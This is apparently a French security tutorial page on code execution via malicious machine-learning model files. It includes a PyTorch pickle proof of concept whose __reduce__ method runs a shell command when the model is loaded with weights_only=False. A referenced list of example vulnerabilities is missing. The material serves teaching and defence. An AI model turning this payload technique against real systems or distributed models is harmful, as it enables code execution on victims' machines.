Models RCE

Reading time: 5 minutes

Chargement des modèles pour RCE

Les modèles d'apprentissage automatique sont généralement partagés dans différents formats, tels que ONNX, TensorFlow, PyTorch, etc. Ces modèles peuvent être chargés sur les machines des développeurs ou dans des systèmes de production pour les utiliser. En général, les modèles ne devraient pas contenir de code malveillant, mais il existe des cas où le modèle peut être utilisé pour exécuter du code arbitraire sur le système en tant que fonctionnalité prévue ou en raison d'une vulnérabilité dans la bibliothèque de chargement du modèle.

Au moment de la rédaction, voici quelques exemples de ce type de vulnérabilités :

De plus, il existe des modèles basés sur pickle Python comme ceux utilisés par PyTorch qui peuvent être utilisés pour exécuter du code arbitraire sur le système s'ils ne sont pas chargés avec weights_only=True. Ainsi, tout modèle basé sur pickle pourrait être particulièrement susceptible à ce type d'attaques, même s'ils ne sont pas listés dans le tableau ci-dessus.

Exemple :

• Créer le modèle :

# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")

• Charger le modèle :

# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error